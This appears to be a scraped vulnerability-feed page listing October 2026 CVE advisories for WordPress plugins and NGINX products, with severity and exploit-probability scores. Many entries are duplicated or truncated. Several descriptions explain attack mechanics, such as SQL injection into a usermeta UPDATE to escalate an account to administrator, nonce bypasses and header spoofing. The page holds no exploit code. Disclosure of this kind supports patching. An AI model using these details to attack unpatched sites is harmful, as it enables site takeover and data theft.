CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97668).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97668&date=2026-10-25).
Sources:
NVD CVE-2026-97668: https://nvd.nist.gov/vuln/detail/CVE-2026-97668
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97668&date=2026-10-25
The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the guest cart persistent meta_value in all versions up to, and including, 10.8.0 due to insufficient escaping on user supplied data and lack of sufficient preparation on the existing SQL query in the update_guest_persistent_cart() function. The abandoned_cart_info value, populated from attacker-controlled checkout fields such as the SMS consent field, is passed through stripslashes() and concatenated directly into an UPDATE statement while the adjacent SELECT and INSERT use prepared statements. This makes it possible for unauthenticated attackers to append additional SQL to the query. Because the sink is an UPDATE ... SET on the wp_usermeta table, the injection can both extract sensitive information from the database via time-based blind techniques and modify usermeta rows; it has been demonstrated to escalate an arbitrary account to administrator by writing a wp_capabilities row that shadows the legitimate one.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Description
When NGINX Plus or NGINX Open Source is configured with ssl_session_cache 

shared:name:size

without an explicit ssl_session_ticket_key file directives to...
https://kevwire.com/record/CVE-2026-97629
Description
When NGINX Plus or NGINX Open Source is configured with ssl_session_cache 

shared:name:size

without an explicit ssl_session_ticket_key file directives to... (Oct 14, 2026).
Description
When NGINX Plus or NGINX Open Source is configured with ssl_session_cache 

shared:name:size

without an explicit ssl_session_ticket_key file directives to automatically rotate SSL session ticket keys, a remote unauthenticated attacker is able to forge client SSL sessions 

in a non-deterministic manner that is beyond the attacker's control. An attacker could leverage this vulnerability to bypass verification of client certificates.

Impact


This vulnerability can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with access to sensitive information. There is no control plane exposure; this is a data plane issue only.






Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97629).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97629&date=2026-10-25).
Sources:
NVD CVE-2026-97629: https://nvd.nist.gov/vuln/detail/CVE-2026-97629
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97629&date=2026-10-25
Description
When NGINX Plus or NGINX Open Source is configured with ssl_session_cache 

shared:name:size

without an explicit ssl_session_ticket_key file directives to automatically rotate SSL session ticket keys, a remote unauthenticated attacker is able to forge client SSL sessions 

in a non-deterministic manner that is beyond the attacker's control. An attacker could leverage this vulnerability to bypass verification of client certificates.

Impact


This vulnerability can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with access to sensitive information. There is no control plane exposure; this is a data plane issue only.






Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Description
NGINX Gateway Fabric has a vulnerability when it is configured with Gateway 

Custom Resource Definition (CRD) and have an authenticated gRPC connection with NGINX...
https://kevwire.com/record/CVE-2026-96615
Description
NGINX Gateway Fabric has a vulnerability when it is configured with Gateway 

Custom Resource Definition (CRD) and have an authenticated gRPC connection with NGINX... (Oct 14, 2026).
Description
NGINX Gateway Fabric has a vulnerability when it is configured with Gateway 

Custom Resource Definition (CRD) and have an authenticated gRPC connection with NGINX Agent. A namespaced 

 authenticated attacker with access to a service account may impersonate the authenticated NGINX Agent gRPC connection to read TLS private keys of Gateway deployments in another namespace. 

Impact
A remote authenticated attacker may be able to read TLS private keys of Gateway deployments in another namespace. 

There is no data plane exposure; this is a control plane issue only.






Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96615).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96615&date=2026-10-25).
Sources:
NVD CVE-2026-96615: https://nvd.nist.gov/vuln/detail/CVE-2026-96615
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96615&date=2026-10-25
Description
NGINX Gateway Fabric has a vulnerability when it is configured with Gateway 

Custom Resource Definition (CRD) and have an authenticated gRPC connection with NGINX Agent. A namespaced 

 authenticated attacker with access to a service account may impersonate the authenticated NGINX Agent gRPC connection to read TLS private keys of Gateway deployments in another namespace. 

Impact
A remote authenticated attacker may be able to read TLS private keys of Gateway deployments in another namespace. 

There is no data plane exposure; this is a control plane issue only.






Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Smart Forms – when you need more than just a contact form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formString' parameter in all versions up...
https://kevwire.com/record/CVE-2026-95816
The Smart Forms – when you need more than just a contact form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formString' parameter in all versions up... (Oct 14, 2026).
The Smart Forms – when you need more than just a contact form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formString' parameter in all versions up to, and including, 2.6.104 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce check protecting the rednao_smart_forms_save_form_values AJAX handler is only enforced when the smart_forms_block_anonymous_submissions option is enabled, meaning default installations require no authentication or nonce verification whatsoever to submit and store malicious payloads.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95816).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95816&date=2026-10-25).
Sources:
NVD CVE-2026-95816: https://nvd.nist.gov/vuln/detail/CVE-2026-95816
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95816&date=2026-10-25
The Smart Forms – when you need more than just a contact form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formString' parameter in all versions up to, and including, 2.6.104 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce check protecting the rednao_smart_forms_save_form_values AJAX handler is only enforced when the smart_forms_block_anonymous_submissions option is enabled, meaning default installations require no authentication or nonce verification whatsoever to submit and store malicious payloads.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication and authorization bypass vulnerability exists in F5 NGINX Kubernetes Ingress Controller (NIC) when configured with the `ExternalAuth` policy or Ingress external...
https://kevwire.com/record/CVE-2026-94197
An authentication and authorization bypass vulnerability exists in F5 NGINX Kubernetes Ingress Controller (NIC) when configured with the `ExternalAuth` policy or Ingress external... (Oct 14, 2026).
An authentication and authorization bypass vulnerability exists in F5 NGINX Kubernetes Ingress Controller (NIC) when configured with the `ExternalAuth` policy or Ingress external authentication. Client-supplied X-Forwarded-Prefix, X-Forwarded-URI, X-Original-URI, and X-Forwarded-Method routing and method headers are forwarded unsanitized into the internal authentication subrequest (handled by the NGINX auth_request directive). As a result, an unauthenticated, remote attacker may spoof request attributes evaluated by the external authentication provider. 

Impact:
This vulnerability may allow remote attackers 

unauthenticated

 access to protected 

paths. There is no control plane exposure; this is a data plane issue only.




Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94197).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94197&date=2026-10-25).
Sources:
NVD CVE-2026-94197: https://nvd.nist.gov/vuln/detail/CVE-2026-94197
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94197&date=2026-10-25
An authentication and authorization bypass vulnerability exists in F5 NGINX Kubernetes Ingress Controller (NIC) when configured with the `ExternalAuth` policy or Ingress external authentication. Client-supplied X-Forwarded-Prefix, X-Forwarded-URI, X-Original-URI, and X-Forwarded-Method routing and method headers are forwarded unsanitized into the internal authentication subrequest (handled by the NGINX auth_request directive). As a result, an unauthenticated, remote attacker may spoof request attributes evaluated by the external authentication provider. 

Impact:
This vulnerability may allow remote attackers 

unauthenticated

 access to protected 

paths. There is no control plane exposure; this is a data plane issue only.




Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Cryptocurrency Donation Box – Bitcoin & Crypto Donations plugin for WordPress is vulnerable to Stored Cross-Site Scripting via data_object Parameter in all versions up to, and...
https://kevwire.com/record/CVE-2026-93885
The Cryptocurrency Donation Box – Bitcoin & Crypto Donations plugin for WordPress is vulnerable to Stored Cross-Site Scripting via data_object Parameter in all versions up to, and... (Oct 14, 2026).
The Cryptocurrency Donation Box – Bitcoin & Crypto Donations plugin for WordPress is vulnerable to Stored Cross-Site Scripting via data_object Parameter in all versions up to, and including, 2.2.13 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by unauthenticated attackers because the cdbbc_payment_verify AJAX action is registered under wp_ajax_nopriv_ and its only authentication gate — a nonce check — is bypassable, as the cdbbc_donation_box nonce is publicly exposed to anonymous visitors via the wallets_data JavaScript object emitted by the [crypto-donation-box] shortcode.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93885).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93885&date=2026-10-25).
Sources:
NVD CVE-2026-93885: https://nvd.nist.gov/vuln/detail/CVE-2026-93885
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93885&date=2026-10-25
The Cryptocurrency Donation Box – Bitcoin & Crypto Donations plugin for WordPress is vulnerable to Stored Cross-Site Scripting via data_object Parameter in all versions up to, and including, 2.2.13 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by unauthenticated attackers because the cdbbc_payment_verify AJAX action is registered under wp_ajax_nopriv_ and its only authentication gate — a nonce check — is bypassable, as the cdbbc_donation_box nonce is publicly exposed to anonymous visitors via the wallets_data JavaScript object emitted by the [crypto-donation-box] shortcode.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Click to Chat for WhatsApp plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 4.44 This is due to the greetings_dialog()...
https://kevwire.com/record/CVE-2026-92097
The Click to Chat for WhatsApp plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 4.44 This is due to the greetings_dialog()... (Oct 14, 2026).
The Click to Chat for WhatsApp plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 4.44 This is due to the greetings_dialog() function building the {url} template placeholder from a sanitize_text_field()-filtered $_SERVER['REQUEST_URI'] on archive pages and then passing the substituted greeting content to do_shortcode() in the greetings-1 and greetings-2 templates, without stripping shortcode delimiters. Because wp_kses() runs against main_content BEFORE the {url} substitution, the attacker-controlled URL bytes reach do_shortcode() unfiltered. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes registered by WordPress core, the active theme, or any other plugin (e.
CVSS 9.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92097).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92097&date=2026-10-25).
Sources:
NVD CVE-2026-92097: https://nvd.nist.gov/vuln/detail/CVE-2026-92097
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92097&date=2026-10-25
The Click to Chat for WhatsApp plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 4.44 This is due to the greetings_dialog() function building the {url} template placeholder from a sanitize_text_field()-filtered $_SERVER['REQUEST_URI'] on archive pages and then passing the substituted greeting content to do_shortcode() in the greetings-1 and greetings-2 templates, without stripping shortcode delimiters. Because wp_kses() runs against main_content BEFORE the {url} substitution, the attacker-controlled URL bytes reach do_shortcode() unfiltered. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes registered by WordPress core, the active theme, or any other plugin (e.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Mang Board WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data_type' parameter in all versions up to, and including, 2.4.0 due to insufficient...
https://kevwire.com/record/CVE-2026-88043
The Mang Board WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data_type' parameter in all versions up to, and including, 2.4.0 due to insufficient... (Oct 15, 2026).
The Mang Board WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data_type' parameter in all versions up to, and including, 2.4.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88043).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88043&date=2026-10-25).
Sources:
NVD CVE-2026-88043: https://nvd.nist.gov/vuln/detail/CVE-2026-88043
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88043&date=2026-10-25
The Mang Board WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data_type' parameter in all versions up to, and including, 2.4.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Contact Form DB for Enfold plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form Field Values in all versions up to, and including, 2.0.2 due to...
https://kevwire.com/record/CVE-2026-83592
The Contact Form DB for Enfold plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form Field Values in all versions up to, and including, 2.0.2 due to... (Oct 14, 2026).
The Contact Form DB for Enfold plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form Field Values in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload is echoed unescaped both inside a title HTML attribute and in the table cell body in admin/ecf_index.php; base64 encoding and serialization of the stored values do not neutralize the malicious content.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83592).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83592&date=2026-10-25).
Sources:
NVD CVE-2026-83592: https://nvd.nist.gov/vuln/detail/CVE-2026-83592
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83592&date=2026-10-25
The Contact Form DB for Enfold plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form Field Values in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload is echoed unescaped both inside a title HTML attribute and in the table cell body in admin/ecf_index.php; base64 encoding and serialization of the stored values do not neutralize the malicious content.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Email Customizer for WooCommerce (Pro) plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.9.5.
https://kevwire.com/record/CVE-2026-81534
The Email Customizer for WooCommerce (Pro) plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.9.5. (Oct 15, 2026).
The Email Customizer for WooCommerce (Pro) plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.9.5. This is due to insufficient authorization and input sanitization in the send_test_mail() function, which allows user-controlled PHP code to be written to executable files in the uploads directory. This makes it possible for authenticated attackers, with subscriber-level access and above, to execute arbitrary PHP code on the server, leading to full site compromise.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-81534).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81534&date=2026-10-25).
Sources:
NVD CVE-2026-81534: https://nvd.nist.gov/vuln/detail/CVE-2026-81534
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81534&date=2026-10-25
The Email Customizer for WooCommerce (Pro) plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.9.5. This is due to insufficient authorization and input sanitization in the send_test_mail() function, which allows user-controlled PHP code to be written to executable files in the uploads directory. This makes it possible for authenticated attackers, with subscriber-level access and above, to execute arbitrary PHP code on the server, leading to full site compromise.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Document Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'dg_thumber_webhook' Action Request Body in all versions up to, and including, 5.1.1 due...
https://kevwire.com/record/CVE-2026-77114
The Document Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'dg_thumber_webhook' Action Request Body in all versions up to, and including, 5.1.1 due... (Oct 14, 2026).
The Document Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'dg_thumber_webhook' Action Request Body in all versions up to, and including, 5.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that logging be enabled in the plugin's Advanced settings, which is only the default state when WP_DEBUG is true; otherwise an administrator must manually enable it.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77114).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77114&date=2026-10-25).
Sources:
NVD CVE-2026-77114: https://nvd.nist.gov/vuln/detail/CVE-2026-77114
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77114&date=2026-10-25
The Document Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'dg_thumber_webhook' Action Request Body in all versions up to, and including, 5.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that logging be enabled in the plugin's Advanced settings, which is only the default state when WP_DEBUG is true; otherwise an administrator must manually enable it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The PhastPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.10 This is due to the scripts service endpoint...
https://kevwire.com/record/CVE-2026-3712
The PhastPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.10 This is due to the scripts service endpoint... (Oct 15, 2026).
The PhastPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.10 This is due to the scripts service endpoint constructing its URL whitelist dynamically from the attacker-controlled HTTP 'Host' header. This makes it possible for unauthenticated attackers to spoof the header to match any target URL, bypassing the whitelist and forcing the server to make HTTP requests to arbitrary internal or external destinations and return the response content.
CVSS 7.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-3712).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-3712&date=2026-10-25).
Sources:
NVD CVE-2026-3712: https://nvd.nist.gov/vuln/detail/CVE-2026-3712
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-3712&date=2026-10-25
The PhastPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.10 This is due to the scripts service endpoint constructing its URL whitelist dynamically from the attacker-controlled HTTP 'Host' header. This makes it possible for unauthenticated attackers to spoof the header to match any target URL, bypassing the whitelist and forcing the server to make HTTP requests to arbitrary internal or external destinations and return the response content.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Premium Packages – Sell Digital Products Securely plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via 'order_email' in all versions up to,...
https://kevwire.com/record/CVE-2026-18586
The Premium Packages – Sell Digital Products Securely plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via 'order_email' in all versions up to,... (Oct 15, 2026).
The Premium Packages – Sell Digital Products Securely plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via 'order_email' in all versions up to, and including, 7.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18586).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18586&date=2026-10-25).
Sources:
NVD CVE-2026-18586: https://nvd.nist.gov/vuln/detail/CVE-2026-18586
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18586&date=2026-10-25
The Premium Packages – Sell Digital Products Securely plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via 'order_email' in all versions up to, and including, 7.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ref' parameter in all versions up to, and...
https://kevwire.com/record/CVE-2026-18548
The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ref' parameter in all versions up to, and... (Oct 15, 2026).
The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ref' parameter in all versions up to, and including, 4.5.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18548).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18548&date=2026-10-25).
Sources:
NVD CVE-2026-18548: https://nvd.nist.gov/vuln/detail/CVE-2026-18548
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18548&date=2026-10-25
The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ref' parameter in all versions up to, and including, 4.5.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Checkout Field Manager (Checkout Manager) for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 7.9.6 This is due to...
https://kevwire.com/record/CVE-2026-17031
The Checkout Field Manager (Checkout Manager) for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 7.9.6 This is due to... (Oct 15, 2026).
The Checkout Field Manager (Checkout Manager) for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 7.9.6 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary Media Library attachments.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-17031).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-17031&date=2026-10-25).
Sources:
NVD CVE-2026-17031: https://nvd.nist.gov/vuln/detail/CVE-2026-17031
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-17031&date=2026-10-25
The Checkout Field Manager (Checkout Manager) for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 7.9.6 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary Media Library attachments.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Link Library plugin for WordPress is vulnerable to time-based SQL Injection via the 'link_url' parameter in all versions up to, and including, 7.9.2 due to insufficient...
https://kevwire.com/record/CVE-2026-15090
The Link Library plugin for WordPress is vulnerable to time-based SQL Injection via the 'link_url' parameter in all versions up to, and including, 7.9.2 due to insufficient... (Oct 15, 2026).
